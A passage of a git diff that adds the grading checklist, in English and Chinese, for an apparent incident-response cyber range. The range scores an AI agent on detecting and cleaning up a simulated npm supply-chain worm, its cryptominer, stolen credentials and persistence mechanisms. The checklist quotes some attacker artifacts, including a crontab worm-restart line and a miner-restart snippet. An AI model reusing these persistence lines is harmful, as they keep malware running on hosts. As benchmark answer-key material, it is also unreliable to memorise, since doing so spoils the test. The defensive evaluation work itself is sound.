`/opt/webapp/node_modules/@corp-utils/logger/scripts/setup.js` contains `curl` download and `python3` execution logic +- **Detection score** (3 pts) + - Discovery: Identified a malicious dropper script in an npm package + - Evidence: Pointed out the C2 address, download command, and execution chain in setup.js + - Attribution: Identified it as the initial payload dropper for supply-chain poisoning (JS → curl → Python cross-language chain) +- **Plan score**: N/A (actual handling is covered by CHK-04 full malicious-package removal) + +### CHK-04: Malicious npm package removal `ENT-F01` +- **Evidence**: `/opt/webapp/node_modules/@corp-utils/logger/` directory exists, package.json has a postinstall hook +- **Detection score** (3 pts) + - Discovery: Identified the malicious npm package `@corp-utils/logger` + - Evidence: Pointed out the postinstall hook and the abnormal dependency in package.json + - Attribution: Characterized it as a supply-chain poisoning vector +- **Plan score** (2 pts) + - Correctness: Plan provides `npm uninstall @corp-utils/logger` or manual deletion + - Completeness: Recommends checking package-lock.json to trace the package source URL, and removing the dependency from package.json + +### CHK-05: Mining process detection `ENT-P01` +- **Evidence**: `/opt/.node-helpers/.npm-gc` process is running, log file contains a mining-pool address +- **Detection score** (3 pts) + - Discovery: Identified a mining process + - Evidence: Pointed out the path, disguised name (mimicking npm cache cleanup), mining-pool address visible in the log + - Attribution: Associated the mining with the attacker's subsequent exploitation +- **Plan score** (2 pts) + - Correctness: Plan provides a command to terminate the process + - Completeness: Covers termination + file deletion + checking systemd auto-restart + +### CHK-06: Mining binary cleanup `ENT-F02` +- **Evidence**: `/opt/.node-helpers/.npm-gc` script and `/opt/.node-helpers/.npm-gc.log` log +- **Detection score** (3 pts) + - Discovery: Identified a hidden mining script + - Evidence: Pointed out the hidden directory path `/opt/.node-helpers/` + - Attribution: Associated it with mining-pool outbound behavior +- **Plan score** (2 pts) + - Correctness: Plan provides `rm -rf /opt/.node-helpers` + - Completeness: Recommends searching for other hidden directories + +### CHK-07: Credential cache cleanup `ENT-F04` +- **Evidence**: Stolen npmrc, SSH keys, .env, Git credentials, etc. stored under `/var/tmp/.npm-cache/` +- **Detection score** (3 pts) + - Discovery: Discovered the attacker's data staging directory + - Evidence: Listed the contents of each subdirectory (npmrc/, ssh_keys/, env_files/, git_credentials/, bash_history/) + - Attribution: Identified it as a product of the worm's credential-theft behavior +- **Plan score** (2 pts) + - Correctness: Plan provides `rm -rf /var/tmp/.npm-cache` + - Completeness: Recommends assessing the rotation needs for the leaked credentials + +### CHK-08: Worm propagation artifacts `ENT-F04` +- **Evidence**: The scripts.postinstall of `/opt/internal-tools/package.json` was injected with a worm download command +- **Detection score** (3 pts) + - Discovery: Discovered that another npm project was infected by the worm + - Evidence: Pointed out the modified package.json and the injected postinstall content + - Attribution: Identified it as the worm's self-propagation behavior +- **Plan score** (2 pts) + - Correctness: Plan provides a method to restore package.json + - Completeness: Recommends scanning all local npm projects for similar infections + +### CHK-09: C2 communication residue `ENT-F04` *detection-only* +- **Evidence**: `/var/tmp/.npm-cache/sysinfo.json` contains system-information callback records; the C2 address is visible in the worm code +- **Detection score** (3 pts) + - Discovery: Identified the worm's C2 callback behavior + - Evidence: Pointed out the C2 address (attacker machine IP:8888) and the /beacon path + - Attribution: Associated the C2 communication with the worm's automated callback behavior +- **Plan score**: N/A (outbound blocking is covered by CHK-38) + +## Dimension 2: Baseline risk (9 items) + +### CHK-10: SSH PermitRootLogin `BAS-01` +- **Evidence**: `PermitRootLogin yes` in `/etc/ssh/sshd_config` +- **Detection score** (3 pts) + - Discovery: Reported the risk of PermitRootLogin yes + - Evidence: Cited the specific configuration line + - Attribution: Pointed out that the attacker uses weak-password SSH login as root for subsequent persistence deployment +- **Plan score** (2 pts) + - Correctness: Recommends changing to `no` or `prohibit-password` + - Completeness: Includes `sshd -t` verification and sshd restart steps + +### CHK-11: SSH PasswordAuthentication `BAS-01` +- **Evidence**: `PasswordAuthentication yes` in `/etc/ssh/sshd_config` +- **Detection score** (3 pts) + - Discovery: Identified the risk of password authentication being enabled + - Evidence: Cited the specific configuration line + - Attribution: Associated it with the worm's SSH brute-force scanning behavior +- **Plan score** (2 pts) + - Correctness: Recommends setting `PasswordAuthentication no` + - Completeness: Emphasizes first confirming that key authentication is available + +### CHK-12: Root password strength `BAS-01` +- **Evidence**: root password is `npm@2024` (weak password) +- **Detection score** (3 pts) + - Discovery: Identified that root uses a weak password + - Evidence: Pointed out that the password is vulnerable to dictionary attacks + - Attribution: Associated the weak password with the attacker's Phase 3 SSH login +- **Plan score** (2 pts) + - Correctness: Recommends setting a strong password + - Completeness: Provides password-complexity requirements + +### CHK-13: Webhook endpoint no auth `BAS-06` +- **Evidence**: `/api/webhook/deploy` accepts arbitrary POST with no authentication, and the `packages` parameter is passed directly to `npm install` +- **Detection score** (3 pts) + - Discovery: Identified that the Webhook endpoint lacks authentication + - Evidence: Cited the routing logic in server.js, pointed out the command-injection risk + - Attribution: Characterized the unauthenticated Webhook as the entry point for supply-chain poisoning +- **Plan score** (2 pts) + - Correctness: Recommends adding a token/signature authentication mechanism + - Completeness: Recommends whitelist validation of the packages parameter, prohibiting arbitrary URLs + +### CHK-14: npm token plaintext exposure `BAS-03` +- **Evidence**: `/home/developer/.npmrc` contains a plaintext `_authToken` +- **Detection score** (3 pts) + - Discovery: Discovered a plaintext npm registry token + - Evidence: Cited the file path and token content + - Attribution: The worm has already stolen this token to /var/tmp/.npm-cache/npmrc/ +- **Plan score** (2 pts) + - Correctness: Recommends rotating the npm token + - Completeness: Recommends using `npm token revoke` to invalidate the old token + least-privilege + +### CHK-15: SSH private key unencrypted `BAS-03` +- **Evidence**: `/home/developer/.ssh/id_rsa` has no passphrase protection +- **Detection score** (3 pts) + - Discovery: Discovered an unencrypted SSH private key + - Evidence: Pointed out the file path and the fact that it has no password protection + - Attribution: The worm has already stolen this key to /var/tmp/.npm-cache/ssh_keys/ +- **Plan score** (2 pts) + - Correctness: Recommends regenerating a key pair with a passphrase + - Completeness: Recommends rotating the associated authorized_keys + +### CHK-16: .env file permissions too loose `BAS-05` +- **Evidence**: `/opt/webapp/.env` has permissions 644 (readable by any user), contains DB password, API Key, JWT Secret +- **Detection score** (3 pts) + - Discovery: Identified the .env file permission problem + - Evidence: Pointed out the permission value and the list of sensitive credentials in the file + - Attribution: The worm exploited the loose permissions to steal the .env content +- **Plan score** (2 pts) + - Correctness: Recommends `chmod 600 .env` and restricting readability to only the running user + - Completeness: Recommends rotating all credentials in .env + +### CHK-17: Git credentials plaintext storage `BAS-03` +- **Evidence**: `/home/developer/.git-credentials` contains plaintext GitHub/GitLab credentials +- **Detection score** (3 pts) + - Discovery: Discovered a plaintext Git credentials file + - Evidence: Cited the file path and credential content + - Attribution: The worm has already stolen this file +- **Plan score** (2 pts) + - Correctness: Recommends using a credential manager instead of plaintext storage + - Completeness: Recommends rotating all Git Personal Access Tokens + +### CHK-18: developer user sudo privilege `BAS-04` +- **Evidence**: `/etc/sudoers.d/developer` grants `ALL=(ALL:ALL) ALL` +- **Detection score** (3 pts) + - Discovery: Identified overly broad sudo privileges + - Evidence: Cited the sudoers configuration content + - Attribution: The worm/attacker can use this to escalate to root +- **Plan score** (2 pts) + - Correctness: Recommends restricting to specific commands (e.g. only allowing pm2, nginx operations) + - Completeness: Includes `visudo -c` verification + +## Dimension 3: Persistence removal (8 items) + +### CHK-19: Crontab persistence `PER-S01` +- **Evidence**: `crontab -l` shows `*/10 * * * * python3 /tmp/.ld.py --c2 : >/dev/null 2>&1` +- **Detection score** (3 pts) + - Discovery: Identified a suspicious crontab entry + - Evidence: Cited the specific content, pointed out the 10-minute interval and the worm C2 parameter + - Attribution: Associated the crontab with the worm's auto-restart persistence +- **Plan score** (2 pts) + - Correctness: Provides a method to delete the malicious entry + - Completeness: Recommends checking all users' crontabs and /etc/cron.d/ + +### CHK-20: Bashrc persistence `PER-I01` +- **Evidence**: A code block starting with `# npm cache optimization` in `/home/developer/.bashrc`, which checks and restarts the worm on each login +- **Detection score** (3 pts) + - Discovery: Identified the malicious code block appended in bashrc + - Evidence: Cited the comment disguise and the specific malicious content + - Attribution: Identified it as the worm's login-triggered persistence mechanism +- **Plan score** (2 pts) + - Correctness: Precisely locates and deletes the malicious code block + - Completeness: Recommends checking .bash_profile, .profile, /root/.bashrc + +### CHK-21: Systemd service persistence `PER-V01` +- **Evidence**: `/etc/systemd/system/npm-cache-gc.service` — ExecStart points to `/opt/.node-helpers/.npm-gc` +- **Detection score** (3 pts) + - Discovery: Identified a suspicious systemd service + - Evidence: Pointed out the unit file path and that ExecStart points to the mining script + - Attribution: Identified it as a mining persistence mechanism +- **Plan score** (2 pts) + - Correctness: Provides `systemctl stop && disable` + deleting the unit file + `daemon-reload` + - Completeness: Includes post-cleanup verification steps + +### CHK-22: Systemd service masquerade `PER-V01` *detection-only* +- **Evidence**: The service name `npm-cache-gc` and description `NPM Cache Garbage Collector` mimic legitimate npm cache management +- **Detection score** (3 pts) + - Discovery: Pointed out the disguise technique in the service name and description + - Evidence: Compared against legitimate npm/node service naming patterns + - Attribution: Identified it as the attacker evading scrutiny through naming disguise +- **Plan score**: N/A (actual handling is covered by CHK-21) + +### CHK-23: SSH key injection `PER-A01` +- **Evidence**: `/root/.ssh/authorized_keys` and `/home/developer/.ssh/authorized_keys` contain an attacker public key commented as `ops@npm-registry` +- **Detection score** (3 pts) + - Discovery: Identified an abnormal SSH public key + - Evidence: Pointed out that the key comment `ops@npm-registry` is not a local user + - Attribution: Associated the key injection with the worm's automated persistence behavior +- **Plan score** (2 pts) + - Correctness: Plan provides a command to delete the specific key line + - Completeness: Recommends auditing all users' authorized_keys + +### CHK-24: Profile.d backdoor `PER-E01` +- **Evidence**: `/etc/profile.d/node-env.sh` hides mining-restart logic (`pgrep -f npm-gc || nohup ...`) +- **Detection score** (3 pts) + - Discovery: Identified the malicious script in profile.d + - Evidence: Pointed out that the script is disguised as a Node.js environment configuration but actually contains a backdoor + - Attribution: Identified it as a persistence method that automatically restarts mining on each user login +- **Plan score** (2 pts) + - Correctness: Plan provides `rm /etc/profile.d/node-env.sh` + - Completeness: Recommends scanning all non-distribution scripts in /etc/profile.d/ + +### CHK-25: npm project infection persistence `PER-S01` *detection-only* +- **Evidence**: The postinstall of `/opt/internal-tools/package.json` was injected with a worm download command +- **Detection score** (3 pts) + - Discovery: Identified that the worm propagates by modifying npm projects + - Evidence: Pointed out the modified package.json and the injected content + - Attribution: Identified it as the worm's self-propagation mechanism (distinct from conventional persistence; this is supply-chain-specific behavior) +- **Plan score**: N/A (actual handling is covered by CHK-08) +- **Bonus**: The Agent scans all local npm projects instead of only checking known paths + +### CHK-26: Comprehensive persistence scan `Q-05` *detection-only* +- **Evidence**: No persistence other than crontab/bashrc/systemd/authorized_keys/profile.d/npm postinstall +- **Detection score** (3 pts) + - Discovery: Performs a systematic persistence scan (init.d, rc.local, at jobs, motd, etc.) + - Evidence: Documents the scan scope and method + - Attribution: Even if no additional items are found, demonstrates the thoroughness of the investigation +- **Plan score**: N/A + +## Dimension 4: Evaluation quality dimension (9 items) + +### CHK-27: Cross-language attack-chain tracing `Q-06` *detection-only* +- **Evidence**: The complete attack chain is npm install → node setup.js → curl → python3 ld.py, spanning both the JavaScript and Python runtimes +- **Detection score** (3 pts) + - Discovery: Identified the cross-language multi-stage attack chain + - Evidence: Accurately described the complete path of npm postinstall → JS dropper → curl download → Python worm + - Attribution: Correctly linked the stages together, explaining that the cross-language boundary does not affect tracing +- **Plan score**: N/A +- **Critical**: The process chain may break at the node → curl → python3 boundary; the Agent needs to proactively associate them + +### CHK-28: Malicious package attribution `Q-01` *detection-only* +- **Evidence**: The `resolved` field of `@corp-utils/logger` in `/opt/webapp/package-lock.json` points to an attacker-machine HTTP URL +- **Detection score** (3 pts) + - Discovery: Located the malicious package source from package-lock.json + - Evidence: Cited the resolved URL, version number, integrity hash + - Attribution: Associated the package source URL with the attacker-machine IP +- **Plan score**: N/A +- **Bonus**: The Agent compares package.json and package-lock.json to discover the manually injected dependency + +### CHK-29: Entry-point determination `Q-01` `Q-04` *detection-only* +- **Evidence**: Webhook access log + npm install log + no SSH brute-force records (the worm's scanning occurs after the attack) +- **Detection score** (3 pts) + - Discovery: Correctly determined the entry point as "CI/CD Webhook exploited + npm supply-chain poisoning" + - Evidence: Cited the POST /api/webhook/deploy records in Nginx access.log and the npm install records in deploy.log + - Attribution: Ruled out the SSH weak password as the initial entry point (the SSH login occurred in Phase 3, later than the Webhook call) +- **Plan score**: N/A +- **Critical**: The Agent should not misjudge the entry point as the SSH weak password — although the SSH configuration does have weaknesses, the causal relationship of the attack chain is Webhook first, then SSH + +### CHK-30: Attacker-IP identification `Q-03` *detection-only* +- **Evidence**: The source IP of POST /api/webhook/deploy in Nginx access.log; the SSH login source IP in auth.log; the hardcoded C2 address in the worm code +- **Detection score** (3 pts) + - Discovery: Identified the attacker source IP + - Evidence: Cited at least two independent sources (Webhook log + SSH log or worm code) + - Attribution: Confirmed that the same IP runs through the Webhook call, SSH login, and C2 callback +- **Plan score**: N/A (blocking plan is covered by CHK-39) + +### CHK-31: Network-scanning behavior `Q-02` *detection-only* +- **Evidence**: `/var/tmp/.npm-cache/scan_results.txt` contains scan results; auth.log may contain SSH attempt records initiated by the worm +- **Detection score** (3 pts) + - Discovery: Identified internal SSH port-scanning behavior + - Evidence: Cited the scan results file and/or the abnormal SSH attempts in auth.log + - Attribution: Associated the network scanning with the worm's lateral-propagation capability +- **Plan score**: N/A +- **Bonus**: Assesses the network-segment range covered by the scan and the potential propagation risk + +### CHK-32: Credential-leak scope assessment `Q-08` *detection-only* +- **Evidence**: The worm stole 5 categories of credentials: npm token, SSH private key, .env secrets, Git credentials, commands in bash_history +- **Detection score** (3 pts) + - Discovery: Comprehensively assessed the credential-leak scope + - Evidence: Listed each category of stolen credentials and its business impact + - Attribution: Pointed out the secondary attack surface that credential leakage can cause (e.g. an npm token can publish malicious packages, an SSH key can log in to other servers) +- **Plan score**: N/A +- **Critical**: The Agent should assess the leak consequences of each of the 5 credential categories, rather than vaguely saying "credential leak" + +### CHK-33: Attack-timeline reconstruction `Q-02` *detection-only* +- **Evidence**: Nginx access.log (Webhook call), deploy.log (npm install), file ctime (worm creation), auth.log (SSH login), systemd unit creation time +- **Detection score** (3 pts) + - Discovery: Constructed a coherent attack timeline + - Evidence: Webhook call → npm install → worm startup → credential theft → SSH login → mining deployment → persistence + - Attribution: Cross-correlated multiple timestamp sources to form a complete attack narrative +- **Plan score**: N/A +- **Bonus**: The Agent notices partial log cleanup (the corp-utils-logger line deleted from deploy.log, auth.log partially truncated) + +### CHK-34: Worm C2 communication pattern `Q-03` *detection-only* +- **Evidence**: The `/beacon` HTTP callback path + `/report` initial-infection report path in the worm code +- **Detection score** (3 pts) + - Discovery: Extracted the C2 communication protocol from the worm code + - Evidence: Pointed out the HTTP callback URL, data format (JSON), transmitted content (system information + list of stolen credential directories) + - Attribution: Distinguished that the C2 callback and the mining-pool outbound connection are two different malicious outbound communications +- **Plan score**: N/A + +## Dimension 5: Remediation closed loop (5 items) + +### CHK-35: Malicious-package removal + npm audit `VUL-01` +- **Evidence**: Run npm audit after removing the malicious package +- **Detection score** (3 pts) + - Discovery: Recommends running `npm audit` to check for other known vulnerabilities + - Evidence: Explains the scope and limitations of npm audit + - Attribution: Reflects continuous-monitoring awareness of supply-chain security +- **Plan score** (2 pts) + - Correctness: Provides `npm uninstall @corp-utils/logger && npm audit` + - Completeness: Recommends configuring `npm install --ignore-scripts` or using `.npmrc`'s `ignore-scripts=true` + +### CHK-36: Full credential rotation `BAS-03` +- **Evidence**: All 5 categories of credentials have been stolen +- **Detection score** (3 pts) + - Discovery: Recommends rotating all leaked credentials + - Evidence: Lists the specific credentials that need rotation (npm token, SSH key, DB/API/JWT/SMTP passwords in .env, Git token) + - Attribution: Not rotating credentials after a leak means the attacker still holds valid access +- **Plan score** (2 pts) + - Correctness: Provides the specific rotation method for each category of credentials + - Completeness: Covers all 5 categories, explaining the rotation order and verification method + +### CHK-37: C2 + mining-pool outbound blocking `ENT-N02` +- **Evidence**: The worm calls back to C2 (attacker machine IP:8888) + mining connects to the pool (pool.evil-example.invalid:4444) +- **Detection score** (3 pts) + - Discovery: Recommends blocking both categories of malicious outbound connections + - Evidence: Cited the C2 address and the mining-pool address + - Attribution: Distinguished that the worm C2 and the mining pool are two independent malicious outbound targets +- **Plan score** (2 pts) + - Correctness: Provides iptables/ufw outbound rules + - Completeness: Includes rule persistence + +### CHK-38: Attacker-IP inbound blocking `ENT-N01` +- **Evidence**: The attacker IP identified from Nginx logs and auth.log +- **Detection score** (3 pts) + - Discovery: Recommends blocking the attacker inbound IP + - Evidence: Cited the attacker IP and multiple log sources + - Attribution: Associated it with the Webhook call and SSH login +- **Plan score** (2 pts) + - Correctness: Provides a firewall inbound-reject rule + - Completeness: Includes security-group/firewall rule persistence + +### CHK-39: Service restart and verification `Q-07` +- **Evidence**: Nginx, Express webapp, and SSH should run normally after remediation +- **Detection score** (3 pts) + - Discovery: Recommends verifying that the remediation operations did not affect business services + - Evidence: Lists the key services that need verification + - Attribution: Reflects business-impact awareness +- **Plan score** (2 pts) + - Correctness: Lists status-check commands for the key services + - Completeness: Covers nginx, webapp (PM2), sshd \ No newline at end of file diff --git a/ranges/npm-worm/checklist.md b/ranges/npm-worm/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..d0f93cb6483e43f54f2ce5aab34de4557b2195c9 --- /dev/null +++ b/ranges/npm-worm/checklist.md @@ -0,0 +1,388 @@ +# range-npm-worm 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge +- **仅检测项**:方案分标记 N/A,不参与对应汇总 + +## 维度 1:入侵实体识别与处置(9 项) + +### CHK-01:蠕虫进程检测 `ENT-P01` +- **证据**:`python3 /tmp/.ld.py` 进程正在运行 +- **检测分**(3 分) + - 发现:识别到可疑 Python 进程 + - 证据:指出路径 `/tmp/.ld.py`,识别为恶意蠕虫脚本(非系统组件) + - 归因:将蠕虫进程与供应链投毒后的自动化攻击行为关联 +- **方案分**(2 分) + - 正确性:方案给出 kill/pkill 命令终止进程 + - 完整性:方案涵盖终止进程 + 检查自动重启机制(crontab、bashrc) + +### CHK-02:蠕虫脚本文件清理 `ENT-F02` +- **证据**:`/tmp/.ld.py` 文件存在,时间戳被伪造(mtime 与 /usr/bin/python3 一致) +- **检测分**(3 分) + - 发现:识别到隐藏的 Python 蠕虫脚本 + - 证据:指出文件路径和内容特征(网络扫描、凭证窃取逻辑) + - 归因:将其与 npm postinstall 攻击链关联 +- **方案分**(2 分) + - 正确性:方案给出 `rm -f /tmp/.ld.py` + - 完整性:建议搜索 /tmp、/var/tmp 等目录确认无副本 + +### CHK-03:JS Dropper 识别 `ENT-F01` *仅检测项* +- **证据**:`/opt/webapp/node_modules/@corp-utils/logger/scripts/setup.js` 包含 `curl` 下载和 `python3` 执行逻辑 +- **检测分**(3 分) + - 发现:识别到 npm 包中的恶意 dropper 脚本 + - 证据:指出 setup.js 中的 C2 地址、下载命令和执行链 + - 归因:识别为供应链投毒的初始载荷投递器(JS → curl → Python 跨语言链) +- **方案分**:N/A(实际处置由 CHK-04 恶意包整体移除覆盖) + +### CHK-04:恶意 npm 包移除 `ENT-F01` +- **证据**:`/opt/webapp/node_modules/@corp-utils/logger/` 目录存在,package.json 中有 postinstall hook +- **检测分**(3 分) + - 发现:识别到恶意 npm 包 `@corp-utils/logger` + - 证据:指出 postinstall 钩子和 package.json 中的异常依赖 + - 归因:将其定性为供应链投毒载体 +- **方案分**(2 分) + - 正确性:方案给出 `npm uninstall @corp-utils/logger` 或手动删除 + - 完整性:建议检查 package-lock.json 溯源包来源 URL,并从 package.json 移除该依赖 + +### CHK-05:挖矿进程检测 `ENT-P01` +- **证据**:`/opt/.node-helpers/.npm-gc` 进程正在运行,日志文件含矿池地址 +- **检测分**(3 分) + - 发现:识别到挖矿进程 + - 证据:指出路径、伪装名称(模仿 npm 缓存清理),日志中可见矿池地址 + - 归因:将挖矿与攻击者后续利用关联 +- **方案分**(2 分) + - 正确性:方案给出终止进程命令 + - 完整性:涵盖终止 + 删除文件 + 检查 systemd 自动重启 + +### CHK-06:挖矿二进制清理 `ENT-F02` +- **证据**:`/opt/.node-helpers/.npm-gc` 脚本和 `/opt/.node-helpers/.npm-gc.log` 日志 +- **检测分**(3 分) + - 发现:识别到隐藏的挖矿脚本 + - 证据:指出隐藏目录路径 `/opt/.node-helpers/` + - 归因:与矿池外连行为关联 +- **方案分**(2 分) + - 正确性:方案给出 `rm -rf /opt/.node-helpers` + - 完整性:建议搜索其他隐藏目录 + +### CHK-07:凭证缓存清理 `ENT-F04` +- **证据**:`/var/tmp/.npm-cache/` 下存储了窃取的 npmrc、SSH 密钥、.env、Git 凭证等 +- **检测分**(3 分) + - 发现:发现攻击者的数据暂存目录 + - 证据:列出各子目录内容(npmrc/、ssh_keys/、env_files/、git_credentials/、bash_history/) + - 归因:识别为蠕虫凭证窃取行为的产物 +- **方案分**(2 分) + - 正确性:方案给出 `rm -rf /var/tmp/.npm-cache` + - 完整性:建议评估已泄露凭证的轮换需求 + +### CHK-08:蠕虫传播产物 `ENT-F04` +- **证据**:`/opt/internal-tools/package.json` 的 scripts.postinstall 被注入了蠕虫下载命令 +- **检测分**(3 分) + - 发现:发现其他 npm 项目被蠕虫感染 + - 证据:指出被修改的 package.json 和注入的 postinstall 内容 + - 归因:识别为蠕虫的自我传播行为 +- **方案分**(2 分) + - 正确性:方案给出恢复 package.json 的方法 + - 完整性:建议扫描所有本地 npm 项目检查类似感染 + +### CHK-09:C2 通信残留 `ENT-F04` *仅检测项* +- **证据**:`/var/tmp/.npm-cache/sysinfo.json` 含系统信息回传记录;蠕虫代码中可见 C2 地址 +- **检测分**(3 分) + - 发现:识别蠕虫的 C2 回连行为 + - 证据:指出 C2 地址(攻击机 IP:8888)和 /beacon 路径 + - 归因:将 C2 通信与蠕虫自动化回连行为关联 +- **方案分**:N/A(出站封禁由 CHK-38 覆盖) + +## 维度 2:基线风险(9 项) + +### CHK-10:SSH PermitRootLogin `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中 `PermitRootLogin yes` +- **检测分**(3 分) + - 发现:报告 PermitRootLogin yes 的风险 + - 证据:引用具体配置行 + - 归因:指出攻击者利用弱密码 SSH 登录 root 进行后续持久化部署 +- **方案分**(2 分) + - 正确性:建议改为 `no` 或 `prohibit-password` + - 完整性:包含 `sshd -t` 验证和 sshd 重启步骤 + +### CHK-11:SSH PasswordAuthentication `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中 `PasswordAuthentication yes` +- **检测分**(3 分) + - 发现:识别到密码认证开启的风险 + - 证据:引用具体配置行 + - 归因:与蠕虫 SSH 爆破扫描行为关联 +- **方案分**(2 分) + - 正确性:建议设置 `PasswordAuthentication no` + - 完整性:强调须先确认密钥认证可用 + +### CHK-12:Root 密码强度 `BAS-01` +- **证据**:root 密码为 `npm@2024`(弱密码) +- **检测分**(3 分) + - 发现:识别到 root 使用弱密码 + - 证据:指出密码可被字典攻击 + - 归因:将弱密码与攻击者 Phase 3 SSH 登录关联 +- **方案分**(2 分) + - 正确性:建议设置强密码 + - 完整性:给出密码复杂度要求 + +### CHK-13:Webhook 端点无认证 `BAS-06` +- **证据**:`/api/webhook/deploy` 接受任意 POST 且无认证,`packages` 参数直接传入 `npm install` +- **检测分**(3 分) + - 发现:识别到 Webhook 端点缺乏认证 + - 证据:引用 server.js 中的路由逻辑,指出命令注入风险 + - 归因:将未授权 Webhook 定性为供应链投毒的入口 +- **方案分**(2 分) + - 正确性:建议添加 token/signature 认证机制 + - 完整性:建议对 packages 参数做白名单校验,禁止任意 URL + +### CHK-14:npm token 明文暴露 `BAS-03` +- **证据**:`/home/developer/.npmrc` 含明文 `_authToken` +- **检测分**(3 分) + - 发现:发现明文 npm registry token + - 证据:引用文件路径和 token 内容 + - 归因:蠕虫已窃取该 token 到 /var/tmp/.npm-cache/npmrc/ +- **方案分**(2 分) + - 正确性:建议轮换 npm token + - 完整性:建议使用 `npm token revoke` 废弃旧 token + 权限最小化 + +### CHK-15:SSH 私钥未加密保护 `BAS-03` +- **证据**:`/home/developer/.ssh/id_rsa` 无 passphrase 保护 +- **检测分**(3 分) + - 发现:发现未加密的 SSH 私钥 + - 证据:指出文件路径和无密码保护的事实 + - 归因:蠕虫已窃取该密钥到 /var/tmp/.npm-cache/ssh_keys/ +- **方案分**(2 分) + - 正确性:建议重新生成带 passphrase 的密钥对 + - 完整性:建议轮换关联的 authorized_keys + +### CHK-16:.env 文件权限过松 `BAS-05` +- **证据**:`/opt/webapp/.env` 权限 644(任何用户可读),含 DB 密码、API Key、JWT Secret +- **检测分**(3 分) + - 发现:识别到 .env 文件权限问题 + - 证据:指出权限值和文件中的敏感凭证清单 + - 归因:蠕虫利用宽松权限窃取了 .env 内容 +- **方案分**(2 分) + - 正确性:建议 `chmod 600 .env` 并限制只有运行用户可读 + - 完整性:建议轮换 .env 中的所有凭证 + +### CHK-17:Git 凭证明文存储 `BAS-03` +- **证据**:`/home/developer/.git-credentials` 含明文 GitHub/GitLab 凭证 +- **检测分**(3 分) + - 发现:发现明文 Git 凭证文件 + - 证据:引用文件路径和凭证内容 + - 归因:蠕虫已窃取该文件 +- **方案分**(2 分) + - 正确性:建议使用 credential manager 替代明文存储 + - 完整性:建议轮换所有 Git Personal Access Token + +### CHK-18:developer 用户 sudo 权限 `BAS-04` +- **证据**:`/etc/sudoers.d/developer` 授予 `ALL=(ALL:ALL) ALL` +- **检测分**(3 分) + - 发现:识别到过于宽泛的 sudo 权限 + - 证据:引用 sudoers 配置内容 + - 归因:蠕虫/攻击者可借此提权到 root +- **方案分**(2 分) + - 正确性:建议限制到特定命令(如只允许 pm2、nginx 操作) + - 完整性:包含 `visudo -c` 验证 + +## 维度 3:持久化清除(8 项) + +### CHK-19:Crontab 持久化 `PER-S01` +- **证据**:`crontab -l` 显示 `*/10 * * * * python3 /tmp/.ld.py --c2 : >/dev/null 2>&1` +- **检测分**(3 分) + - 发现:识别到可疑 crontab 条目 + - 证据:引用具体内容,指出 10 分钟间隔和蠕虫 C2 参数 + - 归因:将 crontab 与蠕虫自动重启持久化关联 +- **方案分**(2 分) + - 正确性:给出删除恶意条目的方法 + - 完整性:建议检查所有用户的 crontab 和 /etc/cron.d/ + +### CHK-20:Bashrc 持久化 `PER-I01` +- **证据**:`/home/developer/.bashrc` 中以 `# npm cache optimization` 开头的代码块,每次登录时检查并重启蠕虫 +- **检测分**(3 分) + - 发现:识别到 bashrc 中追加的恶意代码块 + - 证据:引用注释伪装和具体恶意内容 + - 归因:识别为蠕虫的登录触发持久化机制 +- **方案分**(2 分) + - 正确性:精确定位并删除恶意代码块 + - 完整性:建议检查 .bash_profile、.profile、/root/.bashrc + +### CHK-21:Systemd 服务持久化 `PER-V01` +- **证据**:`/etc/systemd/system/npm-cache-gc.service` — ExecStart 指向 `/opt/.node-helpers/.npm-gc` +- **检测分**(3 分) + - 发现:识别到可疑 systemd 服务 + - 证据:指出 unit 文件路径和 ExecStart 指向挖矿脚本 + - 归因:识别为挖矿持久化机制 +- **方案分**(2 分) + - 正确性:给出 `systemctl stop && disable` + 删除 unit 文件 + `daemon-reload` + - 完整性:包含清理后验证步骤 + +### CHK-22:Systemd 服务伪装识别 `PER-V01` *仅检测项* +- **证据**:服务名称 `npm-cache-gc` 和描述 `NPM Cache Garbage Collector` 模仿合法 npm 缓存管理 +- **检测分**(3 分) + - 发现:指出服务名称和描述的伪装手法 + - 证据:对比合法 npm/node 服务命名模式 + - 归因:识别为攻击者通过命名伪装躲避审查 +- **方案分**:N/A(实际处置由 CHK-21 覆盖) + +### CHK-23:SSH 密钥注入 `PER-A01` +- **证据**:`/root/.ssh/authorized_keys` 和 `/home/developer/.ssh/authorized_keys` 中包含注释为 `ops@npm-registry` 的攻击者公钥 +- **检测分**(3 分) + - 发现:识别到异常的 SSH 公钥 + - 证据:指出密钥注释 `ops@npm-registry` 非本机用户 + - 归因:将密钥注入与蠕虫自动持久化行为关联 +- **方案分**(2 分) + - 正确性:方案给出删除特定密钥行的命令 + - 完整性:建议审计所有用户的 authorized_keys + +### CHK-24:profile.d 后门 `PER-E01` +- **证据**:`/etc/profile.d/node-env.sh` 中隐藏了挖矿重启逻辑(`pgrep -f npm-gc || nohup ...`) +- **检测分**(3 分) + - 发现:识别到 profile.d 中的恶意脚本 + - 证据:指出脚本中伪装为 Node.js 环境配置但实际包含后门 + - 归因:识别为每次用户登录时自动重启挖矿的持久化手段 +- **方案分**(2 分) + - 正确性:方案给出 `rm /etc/profile.d/node-env.sh` + - 完整性:建议扫描 /etc/profile.d/ 中所有非发行版自带脚本 + +### CHK-25:npm 项目感染持久化 `PER-S01` *仅检测项* +- **证据**:`/opt/internal-tools/package.json` 的 postinstall 被注入蠕虫下载命令 +- **检测分**(3 分) + - 发现:识别到蠕虫通过修改 npm 项目实现传播 + - 证据:指出被修改的 package.json 和注入内容 + - 归因:识别为蠕虫的自我传播机制(区别于常规持久化,这是供应链特有行为) +- **方案分**:N/A(实际处置由 CHK-08 覆盖) +- **加分项**:Agent 扫描所有本地 npm 项目而非只检查已知路径 + +### CHK-26:全面持久化扫描 `Q-05` *仅检测项* +- **证据**:除 crontab/bashrc/systemd/authorized_keys/profile.d/npm postinstall 外无其他持久化 +- **检测分**(3 分) + - 发现:执行系统性的持久化扫描(init.d、rc.local、at 任务、motd 等) + - 证据:记录扫描范围和方法 + - 归因:即使未发现额外项目,证明排查的全面性 